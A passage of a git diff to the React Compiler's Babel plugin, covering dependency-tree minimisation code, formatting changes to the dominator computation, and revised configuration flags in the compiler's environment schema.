+        let accessType;
+        if (
+          hoistableCursor != null &&
+          hoistableCursor.accessType === 'NonNull'
+        ) {
+          /**
+           * For an optional chain dep `a?.b`: if the hoistable tree only
+           * contains `a`, we can keep either `a?.b` or 'a.b' as a dependency.
+           * (note that we currently do the latter for perf)
+           */
+          accessType = PropertyAccessType.UnconditionalAccess;
+        } else {
+          /**
+           * Given that it's safe to evaluate `depCursor` and optional load
+           * never throws, it's also safe to evaluate `depCursor?.entry`
+           */
+          accessType = PropertyAccessType.OptionalAccess;
+        }
+        nextDepCursor = makeOrMergeProperty(
+          depCursor,
+          entry.property,
+          accessType,
+          entry.loc,
+        );
+      } else if (
+        hoistableCursor != null &&
+        hoistableCursor.accessType === 'NonNull'
+      ) {
+        nextHoistableCursor = hoistableCursor.properties.get(entry.property);
+        nextDepCursor = makeOrMergeProperty(
+          depCursor,
+          entry.property,
+          PropertyAccessType.UnconditionalAccess,
+          entry.loc,
+        );
+      } else {
+        /**
+         * Break to truncate the dependency on its first non-optional entry that PropertyLoads are not hoistable from
+         */
+        break;
+      }
+      depCursor = nextDepCursor;
+      hoistableCursor = nextHoistableCursor;
+    }
+    // mark the final node as a dependency
+    depCursor.accessType = merge(
+      depCursor.accessType,
+      PropertyAccessType.OptionalDependency,
+    );
+  }
+
+  deriveMinimalDependencies(): Set<ReactiveScopeDependency> {
+    const results = new Set<ReactiveScopeDependency>();
+    for (const [rootId, rootNode] of this.#deps.entries()) {
+      collectMinimalDependenciesInSubtree(
+        rootNode,
+        rootNode.reactive,
+        rootId,
+        [],
+        results,
+      );
+    }
+
+    return results;
+  }
+
+  /*
+   * Prints dependency tree to string for debugging.
+   * @param includeAccesses
+   * @returns string representation of DependencyTree
+   */
+  printDeps(includeAccesses: boolean): string {
+    let res: Array<Array<string>> = [];
+
+    for (const [rootId, rootNode] of this.#deps.entries()) {
+      const rootResults = printSubtree(rootNode, includeAccesses).map(
+        result => `${printIdentifier(rootId)}.${result}`,
+      );
+      res.push(rootResults);
+    }
+    return res.flat().join('\n');
+  }
+
+  static debug<T extends string>(roots: Map<Identifier, TreeNode<T>>): string {
+    const buf: Array<string> = [`tree() [`];
+    for (const [rootId, rootNode] of roots) {
+      buf.push(`${printIdentifier(rootId)} (${rootNode.accessType}):`);
+      this.#debugImpl(buf, rootNode, 1);
+    }
+    buf.push(']');
+    return buf.length > 2 ? buf.join('\n') : buf.join('');
+  }
+
+  static #debugImpl<T extends string>(
+    buf: Array<string>,
+    node: TreeNode<T>,
+    depth: number = 0,
+  ): void {
+    for (const [property, childNode] of node.properties) {
+      buf.push(`${'  '.repeat(depth)}.${property} (${childNode.accessType}):`);
+      this.#debugImpl(buf, childNode, depth + 1);
+    }
+  }
+}
+
+/*
+ * Enum representing the access type of single property on a parent object.
+ * We distinguish on two independent axes:
+ * Optional / Unconditional:
+ *    - whether this property is an optional load (within an optional chain)
+ * Access / Dependency:
+ *    - Access: this property is read on the path of a dependency. We do not
+ *      need to track change variables for accessed properties. Tracking accesses
+ *      helps Forget do more granular dependency tracking.
+ *    - Dependency: this property is read as a dependency and we must track changes
+ *      to it for correctness.
+ *    ```javascript
+ *    // props.a is a dependency here and must be tracked
+ *    deps: {props.a, props.a.b} ---> minimalDeps: {props.a}
+ *    // props.a is just an access here and does not need to be tracked
+ *    deps: {props.a.b} ---> minimalDeps: {props.a.b}
+ *    ```
+ */
+enum PropertyAccessType {
+  OptionalAccess = 'OptionalAccess',
+  UnconditionalAccess = 'UnconditionalAccess',
+  OptionalDependency = 'OptionalDependency',
+  UnconditionalDependency = 'UnconditionalDependency',
+}
+
+function isOptional(access: PropertyAccessType): boolean {
+  return (
+    access === PropertyAccessType.OptionalAccess ||
+    access === PropertyAccessType.OptionalDependency
+  );
+}
+function isDependency(access: PropertyAccessType): boolean {
+  return (
+    access === PropertyAccessType.OptionalDependency ||
+    access === PropertyAccessType.UnconditionalDependency
+  );
+}
+
+function merge(
+  access1: PropertyAccessType,
+  access2: PropertyAccessType,
+): PropertyAccessType {
+  const resultIsUnconditional = !(isOptional(access1) && isOptional(access2));
+  const resultIsDependency = isDependency(access1) || isDependency(access2);
+
+  /*
+   * Straightforward merge.
+   * This can be represented as bitwise OR, but is written out for readability
+   *
+   * Observe that `UnconditionalAccess | ConditionalDependency` produces an
+   * unconditionally accessed conditional dependency. We currently use these
+   * as we use unconditional dependencies. (i.e. to codegen change variables)
+   */
+  if (resultIsUnconditional) {
+    if (resultIsDependency) {
+      return PropertyAccessType.UnconditionalDependency;
+    } else {
+      return PropertyAccessType.UnconditionalAccess;
+    }
+  } else {
+    // result is optional
+    if (resultIsDependency) {
+      return PropertyAccessType.OptionalDependency;
+    } else {
+      return PropertyAccessType.OptionalAccess;
+    }
+  }
+}
+
+type TreeNode<T extends string> = {
+  properties: Map<PropertyLiteral, TreeNode<T>>;
+  accessType: T;
+  loc: SourceLocation;
+};
+type HoistableNode = TreeNode<'Optional' | 'NonNull'>;
+type DependencyNode = TreeNode<PropertyAccessType>;
+
+/**
+ * Recursively calculates minimal dependencies in a subtree.
+ * @param node DependencyNode representing a dependency subtree.
+ * @returns a minimal list of dependencies in this subtree.
+ */
+function collectMinimalDependenciesInSubtree(
+  node: DependencyNode,
+  reactive: boolean,
+  rootIdentifier: Identifier,
+  path: Array<DependencyPathEntry>,
+  results: Set<ReactiveScopeDependency>,
+): void {
+  if (isDependency(node.accessType)) {
+    results.add({identifier: rootIdentifier, reactive, path, loc: node.loc});
+  } else {
+    for (const [childName, childNode] of node.properties) {
+      collectMinimalDependenciesInSubtree(
+        childNode,
+        reactive,
+        rootIdentifier,
+        [
+          ...path,
+          {
+            property: childName,
+            optional: isOptional(childNode.accessType),
+            loc: childNode.loc,
+          },
+        ],
+        results,
+      );
+    }
+  }
+}
+
+function printSubtree(
+  node: DependencyNode,
+  includeAccesses: boolean,
+): Array<string> {
+  const results: Array<string> = [];
+  for (const [propertyName, propertyNode] of node.properties) {
+    if (includeAccesses || isDependency(propertyNode.accessType)) {
+      results.push(`${propertyName} (${propertyNode.accessType})`);
+    }
+    const propertyResults = printSubtree(propertyNode, includeAccesses);
+    results.push(...propertyResults.map(result => `${propertyName}.${result}`));
+  }
+  return results;
+}
+
+function makeOrMergeProperty(
+  node: DependencyNode,
+  property: PropertyLiteral,
+  accessType: PropertyAccessType,
+  loc: SourceLocation,
+): DependencyNode {
+  let child = node.properties.get(property);
+  if (child == null) {
+    child = {
+      properties: new Map(),
+      accessType,
+      loc,
+    };
+    node.properties.set(property, child);
+  } else {
+    child.accessType = merge(child.accessType, accessType);
+  }
+  return child;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/Dominator.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/Dominator.ts
index 74fbed66fddb..25461b23a63b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/Dominator.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/Dominator.ts
@@ -5,10 +5,10 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import prettyFormat from "pretty-format";
-import { CompilerError } from "../CompilerError";
-import { BlockId, HIRFunction } from "./HIR";
-import { eachTerminalSuccessor } from "./visitors";
+import prettyFormat from 'pretty-format';
+import {CompilerError} from '../CompilerError';
+import {BlockId, GeneratedSource, HIRFunction} from './HIR';
+import {eachTerminalSuccessor} from './visitors';
 
 /*
  * Computes the dominator tree of the given function. The returned `Dominator` stores the immediate
@@ -34,7 +34,7 @@ export function computeDominatorTree(fn: HIRFunction): Dominator<BlockId> {
  */
 export function computePostDominatorTree(
   fn: HIRFunction,
-  options: { includeThrowsAsExitNode: boolean }
+  options: {includeThrowsAsExitNode: boolean},
 ): PostDominator<BlockId> {
   const graph = buildReverseGraph(fn, options.includeThrowsAsExitNode);
   const nodes = computeImmediateDominators(graph);
@@ -87,10 +87,8 @@ export class Dominator<T> {
   get(id: T): T | null {
     const dominator = this.#nodes.get(id);
     CompilerError.invariant(dominator !== undefined, {
-      reason: "Unknown node",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Unknown node',
+      loc: GeneratedSource,
     });
     return dominator === id ? null : dominator;
   }
@@ -128,10 +126,8 @@ export class PostDominator<T> {
   get(id: T): T | null {
     const dominator = this.#nodes.get(id);
     CompilerError.invariant(dominator !== undefined, {
-      reason: "Unknown node",
-      description: null,
-      loc: null,
-      suggestions: null,
+      reason: 'Unknown node',
+      loc: GeneratedSource,
     });
     return dominator === id ? null : dominator;
   }
@@ -174,9 +170,7 @@ function computeImmediateDominators<T>(graph: Graph<T>): Map<T, T> {
       }
       CompilerError.invariant(newIdom !== null, {
         reason: `At least one predecessor must have been visited for block ${id}`,
-        description: null,
-        loc: null,
-        suggestions: null,
+        loc: GeneratedSource,
       });
 
       for (const pred of node.preds) {
@@ -217,7 +211,7 @@ function intersect<T>(a: T, b: T, graph: Graph<T>, nodes: Map<T, T>): T {
 
 // Turns the HIRFunction into a simplified internal form that is shared for dominator/post-dominator computation
 function buildGraph(fn: HIRFunction): Graph<BlockId> {
-  const graph: Graph<BlockId> = { entry: fn.body.entry, nodes: new Map() };
+  const graph: Graph<BlockId> = {entry: fn.body.entry, nodes: new Map()};
   let index = 0;
   for (const [id, block] of fn.body.blocks) {
     graph.nodes.set(id, {
@@ -237,7 +231,7 @@ function buildGraph(fn: HIRFunction): Graph<BlockId> {
  */
 function buildReverseGraph(
   fn: HIRFunction,
-  includeThrowsAsExitNode: boolean
+  includeThrowsAsExitNode: boolean,
 ): Graph<BlockId> {
   const nodes: Map<BlockId, Node<BlockId>> = new Map();
   const exitId = fn.env.nextBlockId;
@@ -256,10 +250,10 @@ function buildReverseGraph(
       preds: new Set(eachTerminalSuccessor(block.terminal)),
       succs: new Set(block.preds),
     };
-    if (block.terminal.kind === "return") {
+    if (block.terminal.kind === 'return') {
       node.preds.add(exitId);
       exit.succs.add(id);
-    } else if (block.terminal.kind === "throw" && includeThrowsAsExitNode) {
+    } else if (block.terminal.kind === 'throw' && includeThrowsAsExitNode) {
       node.preds.add(exitId);
       exit.succs.add(id);
     }
@@ -282,7 +276,7 @@ function buildReverseGraph(
   }
   visit(exitId);
 
-  const rpo: Graph<BlockId> = { entry: exitId, nodes: new Map() };
+  const rpo: Graph<BlockId> = {entry: exitId, nodes: new Map()};
   let index = 0;
   for (const id of postorder.reverse()) {
     const node = nodes.get(id)!;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/HIR/Environment.ts b/compiler/packages/babel-plugin-react-compiler/src/HIR/Environment.ts
index 277921d5e25e..98cf1ed57d9f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/HIR/Environment.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/HIR/Environment.ts
@@ -5,34 +5,46 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import * as t from "@babel/types";
-import { ZodError, z } from "zod";
-import { fromZodError } from "zod-validation-error";
-import { CompilerError } from "../CompilerError";
-import { Logger } from "../Entrypoint";
-import { Err, Ok, Result } from "../Utils/Result";
+import * as t from '@babel/types';
+import {ZodError, z} from 'zod/v4';
+import {fromZodError} from 'zod-validation-error/v4';
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  CompilerErrorDetail,
+  ErrorCategory,
+} from '../CompilerError';
+import {CompilerOutputMode, Logger, ProgramContext} from '../Entrypoint';
+import {Err, Ok, Result} from '../Utils/Result';
 import {
   DEFAULT_GLOBALS,
   DEFAULT_SHAPES,
   Global,
   GlobalRegistry,
-  installReAnimatedTypes,
-} from "./Globals";
+  getReanimatedModuleType,
+  installTypeConfig,
+} from './Globals';
 import {
   BlockId,
   BuiltInType,
   Effect,
   FunctionType,
+  GeneratedSource,
+  HIRFunction,
   IdentifierId,
   NonLocalBinding,
   PolyType,
   ScopeId,
+  SourceLocation,
   Type,
+  ValidatedIdentifier,
   ValueKind,
+  getHookKindForType,
   makeBlockId,
   makeIdentifierId,
+  makeIdentifierName,
   makeScopeId,
-} from "./HIR";
+} from './HIR';
 import {
   BuiltInMixedReadonlyId,
   DefaultMutatingHook,
@@ -40,7 +52,12 @@ import {
   FunctionSignature,
   ShapeRegistry,
   addHook,
-} from "./ObjectShape";
+} from './ObjectShape';
+import {Scope as BabelScope, NodePath} from '@babel/traverse';
+import {TypeSchema} from './TypeSchema';
+import {FlowTypeEnv} from '../Flood/Types';
+import {defaultModuleTypeProvider} from './DefaultModuleTypeProvider';
+import {assertExhaustive} from '../Utils/utils';
 
 export const ExternalFunctionSchema = z.object({
   // Source for the imported module that exports the `importSpecifierName` functions
@@ -53,16 +70,22 @@ export const ExternalFunctionSchema = z.object({
 export const InstrumentationSchema = z
   .object({
     fn: ExternalFunctionSchema,
-    gating: ExternalFunctionSchema.nullish(),
-    globalGating: z.string().nullish(),
+    gating: ExternalFunctionSchema.nullable(),
+    globalGating: z.string().nullable(),
   })
   .refine(
-    (opts) => opts.gating != null || opts.globalGating != null,
-    "Expected at least one of gating or globalGating"
+    opts => opts.gating != null || opts.globalGating != null,
+    'Expected at least one of gating or globalGating',
   );
 
 export type ExternalFunction = z.infer<typeof ExternalFunctionSchema>;
 
+export const MacroSchema = z.string();
+
+export type CompilerMode = 'all_features' | 'no_inferred_memo';
+
+export type Macro = z.infer<typeof MacroSchema>;
+
 const HookSchema = z.object({
   /*
    * The effect of arguments to this hook. Describes whether the hook may or may
@@ -116,8 +139,14 @@ export type Hook = z.infer<typeof HookSchema>;
  *   missing some recursive Object / Function shapeIds
  */
 
-const EnvironmentConfigSchema = z.object({
-  customHooks: z.map(z.string(), HookSchema).optional().default(new Map()),
+export const EnvironmentConfigSchema = z.object({
+  customHooks: z.map(z.string(), HookSchema).default(new Map()),
+
+  /**
+   * A function that, given the name of a module, can optionally return a description
+   * of that module's type signature.
+   */
+  moduleTypeProvider: z.nullable(z.any()).default(null),
 
   /**
    * A list of functions which the application compiles as macros, where
@@ -129,14 +158,22 @@ const EnvironmentConfigSchema = z.object({
    * plugin since it looks specifically for the name of the function being invoked, not
    * following aliases.
    */
-  customMacros: z.nullable(z.array(z.string())).default(null),
+  customMacros: z.nullable(z.array(MacroSchema)).default(null),
 
   /**
-   * Enable a check that resets the memoization cache when the source code of the file changes.
-   * This is intended to support hot module reloading (HMR), where the same runtime component
-   * instance will be reused across different versions of the component source.
+   * Enable a check that resets the memoization cache when the source code of
+   * the file changes. This is intended to support hot module reloading (HMR),
+   * where the same runtime component instance will be reused across different
+   * versions of the component source.
+   *
+   * When set to
+   * - true:  code for HMR support is always generated, regardless of NODE_ENV
+   *          or `globalThis.__DEV__`
+   * - false: code for HMR support is not generated
+   * - null:  (default) code for HMR support is conditionally generated dependent
+   *          on `NODE_ENV` and `globalThis.__DEV__` at the time of compilation.
    */
-  enableResetCacheOnSourceFileChanges: z.boolean().default(false),
+  enableResetCacheOnSourceFileChanges: z.nullable(z.boolean()).default(null),
 
   /**
    * Enable using information from existing useMemo/useCallback to understand when a value is done
@@ -160,7 +197,7 @@ const EnvironmentConfigSchema = z.object({
    * that if a useEffect or useCallback references a function value, that function value will be
    * considered frozen, and in turn all of its referenced variables will be considered frozen as well.
    */
-  enablePreserveExistingMemoizationGuarantees: z.boolean().default(false),
+  enablePreserveExistingMemoizationGuarantees: z.boolean().default(true),
 
   /**
    * Validates that all useMemo/useCallback values are also memoized by Forget. This mode can be
@@ -178,24 +215,40 @@ const EnvironmentConfigSchema = z.object({
   validatePreserveExistingMemoizationGuarantees: z.boolean().default(true),
 
   /**
-   * When this is true, rather than pruning existing manual memoization but ensuring or validating
-   * that the memoized values remain memoized, the compiler will simply not prune existing calls to
-   * useMemo/useCallback.
+   * Validate that dependencies supplied to manual memoization calls are exhaustive.
    */
-  enablePreserveExistingManualUseMemo: z.boolean().default(false),
+  validateExhaustiveMemoizationDependencies: z.boolean().default(true),
+
+  /**
+   * Validate that dependencies supplied to effect hooks are exhaustive.
+   * Can be:
+   * - 'off': No validation (default)
+   * - 'all': Validate and report both missing and extra dependencies
+   * - 'missing-only': Only report missing dependencies
+   * - 'extra-only': Only report extra/unnecessary dependencies
+   */
+  validateExhaustiveEffectDependencies: z
+    .enum(['off', 'all', 'missing-only', 'extra-only'])
+    .default('off'),
 
   // 🌲
   enableForest: z.boolean().default(false),
 
   /**
-   * Enable use of type annotations in the source to drive type inference. By default
-   * Forget attemps to infer types using only information that is guaranteed correct
-   * given the source, and does not trust user-supplied type annotations. This mode
-   * enables trusting user type annotations.
+   * Allows specifying a function that can populate HIR with type information from
+   * Flow
    */
-  enableUseTypeAnnotations: z.boolean().default(false),
+  flowTypeProvider: z.nullable(z.any()).default(null),
 
-  enableReactiveScopesInHIR: z.boolean().default(true),
+  /**
+   * Enables inference of optional dependency chains. Without this flag
+   * a property chain such as `props?.items?.foo` will infer as a dep on
+   * just `props`. With this flag enabled, we'll infer that full path as
+   * the dependency.
+   */
+  enableOptionalDependencies: z.boolean().default(true),
+
+  enableNameAnonymousFunctions: z.boolean().default(false),
 
   /*
    * Enable validation of hooks to partially check that the component honors the rules of hooks.
@@ -205,7 +258,7 @@ const EnvironmentConfigSchema = z.object({
   validateHooksUsage: z.boolean().default(true),
 
   // Validate that ref values (`ref.current`) are not accessed during render.
-  validateRefAccessDuringRender: z.boolean().default(false),
+  validateRefAccessDuringRender: z.boolean().default(true),
 
   /*
    * Validates that setState is not unconditionally called during render, as it can lead to
@@ -214,14 +267,39 @@ const EnvironmentConfigSchema = z.object({
   validateNoSetStateInRender: z.boolean().default(true),
 
   /**
-   * Validates that the dependencies of all effect hooks are memoized. This helps ensure
-   * that Forget does not introduce infinite renders caused by a dependency changing,
-   * triggering an effect, which triggers re-rendering, which causes a dependency to change,
-   * triggering the effect, etc.
-   *
-   * Covers useEffect, useLayoutEffect, useInsertionEffect.
+   * When enabled, changes the behavior of validateNoSetStateInRender to recommend
+   * using useKeyedState instead of the manual pattern for resetting state.
    */
-  validateMemoizedEffectDependencies: z.boolean().default(false),
+  enableUseKeyedState: z.boolean().default(false),
+
+  /**
+   * Validates that setState is not called synchronously within an effect (useEffect and friends).
+   * Scheduling a setState (with an event listener, subscription, etc) is valid.
+   */
+  validateNoSetStateInEffects: z.boolean().default(false),
+
+  /**
+   * Validates that effects are not used to calculate derived data which could instead be computed
+   * during render.
+   */
+  validateNoDerivedComputationsInEffects: z.boolean().default(false),
+
+  /**
+   * Experimental: Validates that effects are not used to calculate derived data which could instead be computed
+   * during render. Generates a custom error message for each type of violation.
+   */
+  validateNoDerivedComputationsInEffects_exp: z.boolean().default(false),
+
+  /**
+   * Validates against creating JSX within a try block and recommends using an error boundary
+   * instead.
+   */
+  validateNoJSXInTryStatements: z.boolean().default(false),
+
+  /**
+   * Validates against dynamically creating components during render.
+   */
+  validateStaticComponents: z.boolean().default(false),
 
   /**
    * Validates that there are no capitalized calls other than those allowed by the allowlist.
@@ -234,6 +312,24 @@ const EnvironmentConfigSchema = z.object({
    * this option to the empty array.
    */
   validateNoCapitalizedCalls: z.nullable(z.array(z.string())).default(null),
+  validateBlocklistedImports: z.nullable(z.array(z.string())).default(null),
+
+  /**
+   * Validates that AST nodes generated during codegen have proper source locations.
+   * This is useful for debugging issues with source maps and Istanbul coverage.
+   * When enabled, the compiler will error if important source locations are missing in the generated AST.
+   */
+  validateSourceLocations: z.boolean().default(false),
+
+  /**
+   * Validate against impure functions called during render
+   */
+  validateNoImpureFunctionsInRender: z.boolean().default(false),
+
+  /**
+   * Validate against passing mutable functions to hooks
+   */
+  validateNoFreezingKnownMutableFunctions: z.boolean().default(false),
 
   /*
    * When enabled, the compiler assumes that hooks follow the Rules of React:
@@ -251,37 +347,61 @@ const EnvironmentConfigSchema = z.object({
    * then this flag will assume that `x` is not subusequently modified.
    */
   enableTransitivelyFreezeFunctionExpressions: z.boolean().default(true),
+  enableEmitHookGuards: ExternalFunctionSchema.nullable().default(null),
 
-  /*
-   * Enables codegen mutability debugging. This emits a dev-mode only to log mutations
-   * to values that Forget assumes are immutable (for Forget compiled code).
-   * For example:
-   *   emitFreeze: {
-   *     source: 'ReactForgetRuntime',
-   *     importSpecifierName: 'makeReadOnly',
-   *   }
-   *
-   * produces:
-   *   import {makeReadOnly} from 'ReactForgetRuntime';
-   *
-   *   function Component(props) {
-   *     if (c_0) {
-   *       // ...
-   *       $[0] = __DEV__ ? makeReadOnly(x) : x;
-   *     } else {
-   *       x = $[0];
-   *     }
-   *   }
+  /**
+   * Enables function outlinining, where anonymous functions that do not close over
+   * local variables can be extracted into top-level helper functions.
    */
-  enableEmitFreeze: ExternalFunctionSchema.nullish(),
-
-  enableEmitHookGuards: ExternalFunctionSchema.nullish(),
+  enableFunctionOutlining: z.boolean().default(true),
 
   /**
-   * Enable instruction reordering. See InstructionReordering.ts for the details
-   * of the approach.
+   * If enabled, this will outline nested JSX into a separate component.
+   *
+   * This will enable the compiler to memoize the separate component, giving us
+   * the same behavior as compiling _within_ the callback.
+   *
+   * ```
+   * function Component(countries, onDelete) {
+   *   const name = useFoo();
+   *   return countries.map(() => {
+   *     return (
+   *       <Foo>
+   *         <Bar>{name}</Bar>
+   *         <Button onclick={onDelete}>delete</Button>
+   *       </Foo>
+   *     );
+   *   });
+   * }
+   * ```
+   *
+   * will be transpiled to:
+   *
+   * ```
+   * function Component(countries, onDelete) {
+   *   const name = useFoo();
+   *   return countries.map(() => {
+   *     return (
+   *       <Temp name={name} onDelete={onDelete} />
+   *     );
+   *   });
+   * }
+   *
+   * function Temp({name, onDelete}) {
+   *   return (
+   *     <Foo>
+   *       <Bar>{name}</Bar>
+   *       <Button onclick={onDelete}>delete</Button>
+   *     </Foo>
+   *   );
+   * }
+   *
+   * Both, `Component` and `Temp` will then be memoized by the compiler.
+   *
+   * With this change, when `countries` is updated by adding one single value,
+   * only the newly added value is re-rendered and not the entire list.
    */
-  enableInstructionReordering: z.boolean().default(false),
+  enableJsxOutlining: z.boolean().default(false),
 
   /*
    * Enables instrumentation codegen. This emits a dev-mode only call to an
@@ -305,86 +425,17 @@ const EnvironmentConfigSchema = z.object({
    *   }
    *
    */
-  enableEmitInstrumentForget: InstrumentationSchema.nullish(),
+  enableEmitInstrumentForget: InstrumentationSchema.nullable().default(null),
 
   // Enable validation of mutable ranges
   assertValidMutableRanges: z.boolean().default(false),
 
-  /*
-   * Enable emitting "change variables" which store the result of whether a particular
-   * reactive scope dependency has changed since the scope was last executed.
-   *
-   * Ex:
-   * ```
-   * const c_0 = $[0] !== input; // change variable
-   * let output;
-   * if (c_0) ...
-   * ```
-   *
-   * Defaults to false, where the comparison is inlined:
-   *
-   * ```
-   * let output;
-   * if ($[0] !== input) ...
-   * ```
-   */
-  enableChangeVariableCodegen: z.boolean().default(false),
-
-  /**
-   * Enable emitting comments that explain Forget's output, and which
-   * values are being checked and which values produced by each memo block.
-   *
-   * Intended for use in demo purposes (incl playground)
-   */
-  enableMemoizationComments: z.boolean().default(false),
-
   /**
    * [TESTING ONLY] Throw an unknown exception during compilation to
    * simulate unexpected exceptions e.g. errors from babel functions.
    */
   throwUnknownException__testonly: z.boolean().default(false),
 
-  enableSharedRuntime__testonly: z.boolean().default(false),
-
-  /**
-   * Enables deps of a function epxression to be treated as conditional. This
-   * makes sure we don't load a dep when it's a property (to check if it has
-   * changed) and instead check the receiver.
-   *
-   * This makes sure we don't end up throwing when the reciver is null. Consider
-   * this code:
-   *
-   * ```
-   * function getLength() {
-   *   return props.bar.length;
-   * }
-   * ```
-   *
-   * It's only safe to memoize `getLength` against props, not props.bar, as
-   * props.bar could be null when this `getLength` function is created.
-   *
-   * This does cause the memoization to now be coarse grained, which is
-   * non-ideal.
-   */
-  enableTreatFunctionDepsAsConditional: z.boolean().default(false),
-
-  /**
-   * When true, always act as though the dependencies of a memoized value
-   * have changed. This makes the compiler not actually perform any optimizations,
-   * but is useful for debugging. Implicitly also sets
-   * @enablePreserveExistingManualUseMemo, because otherwise memoization in the
-   * original source will be disabled as well.
-   */
-  disableMemoizationForDebugging: z.boolean().default(false),
-
-  /**
-   * When true, rather using memoized values, the compiler will always re-compute
-   * values, and then use a heuristic to compare the memoized value to the newly
-   * computed one. This detects cases where rules of react violations may cause the
-   * compiled code to behave differently than the original.
-   */
-  enableChangeDetectionForDebugging: ExternalFunctionSchema.nullish(),
-
   /**
    * The react native re-animated library uses custom Babel transforms that
    * requires the calls to library API remain unmodified.
@@ -395,19 +446,6 @@ const EnvironmentConfigSchema = z.object({
    */
   enableCustomTypeDefinitionForReanimated: z.boolean().default(false),
 
-  /**
-   * If specified, this value is used as a pattern for determing which global values should be
-   * treated as hooks. The pattern should have a single capture group, which will be used as
-   * the hook name for the purposes of resolving hook definitions (for builtin hooks)_.
-   *
-   * For example, by default `React$useState` would not be treated as a hook. By specifying
-   * `hookPattern: 'React$(\w+)'`, the compiler will treat this value equivalently to `useState()`.
-   *
-   * This setting is intended for cases where Forget is compiling code that has been prebundled
-   * and identifiers have been changed.
-   */
-  hookPattern: z.string().nullable().default(null),
-
   /**
    * If enabled, this will treat objects named as `ref` or if their names end with the substring `Ref`,
    * and contain a property named `current`, as React refs.
@@ -423,77 +461,65 @@ const EnvironmentConfigSchema = z.object({
    *
    * Here the variables `ref` and `myRef` will be typed as Refs.
    */
-  enableTreatRefLikeIdentifiersAsRefs: z.boolean().nullable().default(false),
-});
-
-export type EnvironmentConfig = z.infer<typeof EnvironmentConfigSchema>;
-
-export function parseConfigPragma(pragma: string): EnvironmentConfig {
-  const maybeConfig: any = {};
-  // Get the defaults to programmatically check for boolean properties
-  const defaultConfig = EnvironmentConfigSchema.parse({});
+  enableTreatRefLikeIdentifiersAsRefs: z.boolean().default(true),
 
-  for (const token of pragma.split(" ")) {
-    if (!token.startsWith("@")) {
-      continue;
-    }
-    const keyVal = token.slice(1);
-    let [key, val]: any = keyVal.split(":");
+  /**
+   * Treat identifiers as SetState type if both
+   * - they are named with a "set-" prefix
+   * - they are called somewhere
+   */
+  enableTreatSetIdentifiersAsStateSetters: z.boolean().default(false),
 
-    if (key === "validateNoCapitalizedCalls") {
-      maybeConfig[key] = [];
-      continue;
-    }
+  /**
+   * If enabled, will validate useMemos that don't return any values:
+   *
+   * Valid:
+   *   useMemo(() => foo, [foo]);
+   *   useMemo(() => { return foo }, [foo]);
+   * Invalid:
+   *   useMemo(() => { ... }, [...]);
+   */
+  validateNoVoidUseMemo: z.boolean().default(true),
 
-    if (
-      key === "enableChangeDetectionForDebugging" &&
-      (val === undefined || val === "true")
-    ) {
-      maybeConfig[key] = {
-        source: "react-compiler-runtime",
-        importSpecifierName: "$structuralCheck",
-      };
-      continue;
-    }
+  /**
+   * When enabled, allows setState calls in effects based on valid patterns involving refs:
+   * - Allow setState where the value being set is derived from a ref. This is useful where
+   *   state needs to take into account layer information, and a layout effect reads layout
+   *   data from a ref and sets state.
+   * - Allow conditionally calling setState after manually comparing previous/new values
+   *   for changes via a ref. Relying on effect deps is insufficient for non-primitive values,
+   *   so a ref is generally required to manually track previous values and compare prev/next
+   *   for meaningful changes before setting state.
+   */
+  enableAllowSetStateFromRefsInEffects: z.boolean().default(true),
 
-    if (typeof defaultConfig[key as keyof EnvironmentConfig] !== "boolean") {
-      // skip parsing non-boolean properties
-      continue;
-    }
-    if (val === undefined || val === "true") {
-      val = true;
-    } else {
-      val = false;
-    }
-    maybeConfig[key] = val;
-  }
+  /**
+   * When enabled, provides verbose error messages for setState calls within effects,
+   * presenting multiple possible fixes to the user/agent since we cannot statically
+   * determine which specific use-case applies:
+   * 1. Non-local derived data - requires restructuring state ownership
+   * 2. Derived event pattern - detecting when a prop changes
+   * 3. Force update / external sync - should use useSyncExternalStore
+   */
+  enableVerboseNoSetStateInEffect: z.boolean().default(false),
+});
 
-  const config = EnvironmentConfigSchema.safeParse(maybeConfig);
-  if (config.success) {
-    return config.data;
-  }
-  CompilerError.invariant(false, {
-    reason: "Internal error, could not parse config from pragma string",
-    description: `${fromZodError(config.error)}`,
-    loc: null,
-    suggestions: null,
-  });
-}
+export type EnvironmentConfig = z.infer<typeof EnvironmentConfigSchema>;
 
 export type PartialEnvironmentConfig = Partial<EnvironmentConfig>;
 
-export type ReactFunctionType = "Component" | "Hook" | "Other";
+export type ReactFunctionType = 'Component' | 'Hook' | 'Other';
 
 export function printFunctionType(type: ReactFunctionType): string {
   switch (type) {
-    case "Component": {
-      return "component";
+    case 'Component': {
+      return 'component';
     }
-    case "Hook": {
-      return "hook";
+    case 'Hook': {
+      return 'hook';
     }
     default: {
-      return "function";
+      return 'function';
     }
   }
 }
@@ -501,55 +527,62 @@ export function printFunctionType(type: ReactFunctionType): string {
 export class Environment {
   #globals: GlobalRegistry;
   #shapes: ShapeRegistry;
+  #moduleTypes: Map<string, Global | null> = new Map();
   #nextIdentifer: number = 0;
   #nextBlock: number = 0;
   #nextScope: number = 0;
+  #scope: BabelScope;
+  #outlinedFunctions: Array<{
+    fn: HIRFunction;
+    type: ReactFunctionType | null;
+  }> = [];
   logger: Logger | null;
   filename: string | null;
   code: string | null;
   config: EnvironmentConfig;
   fnType: ReactFunctionType;
-  useMemoCacheIdentifier: string;
+  outputMode: CompilerOutputMode;
+  programContext: ProgramContext;
 
   #contextIdentifiers: Set<t.Identifier>;
   #hoistedIdentifiers: Set<t.Identifier>;
+  parentFunction: NodePath<t.Function>;
+
+  #flowTypeEnvironment: FlowTypeEnv | null;
+
+  /**
+   * Accumulated compilation errors. Passes record errors here instead of
+   * throwing, so the pipeline can continue and report all errors at once.
+   */
+  #errors: CompilerError = new CompilerError();
 
   constructor(
+    scope: BabelScope,
     fnType: ReactFunctionType,
+    outputMode: CompilerOutputMode,
     config: EnvironmentConfig,
     contextIdentifiers: Set<t.Identifier>,
+    parentFunction: NodePath<t.Function>, // the outermost function being compiled
